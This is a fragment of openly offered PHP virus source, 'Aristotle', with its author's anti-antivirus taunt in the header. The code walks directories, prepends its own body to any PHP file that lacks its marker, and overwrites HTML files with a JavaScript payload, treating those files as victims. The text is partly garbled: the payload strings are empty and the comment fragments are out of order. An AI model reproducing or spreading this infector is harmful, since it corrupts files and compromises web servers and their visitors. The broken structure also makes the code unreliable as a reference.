/* Aristotle/PHP prepender with cross infector js payload. by synge Shouts to SPTH who started PHP fun! Fuck AV'ers */ '.chr(13).chr(10); $arisjs.=''.chr(13).chr(10); $arisjs.=''.chr(13).chr(10); $arisjs.=''.chr(13).chr(10); $arisjs.=''.chr(13).chr(10); in an on and off loop */ $arisjs.=''.chr(13).chr(10); $arisjs.=''.chr(13).chr(10); $arisjs.='Change in all things is sweet.'.chr(13).chr(10); // When HTML file opens run function $arisjs.='- Aristotle'.chr(13).chr(10); $arisjs.=''.chr(13).chr(10); $arisjs.=''.chr(13).chr(10); $b = fopen($file, 'w'); fwrite($b,$arisjs); fclose($b); // Write HTML and JS Payload to victim } if (strstr($file,'.php')) // If find a php file { if (!strstr($file, 'Aristotle')) // If not virus file original { $a = fopen($file,'rb'); $contents = fread($a, filesize($file)); // If marker not in victim if (!strstr($contents, 'Aristotle')) { fclose($a); $b = fopen($file,'w'); fwrite($b, $aris.$contents); // Open to write and prepend virus fclose($b); } } } if (is_dir($file)) { if (!strstr($file, '.')) { chdir($file); } // If file found is directory, Change to dir } } closedir($dir); ?>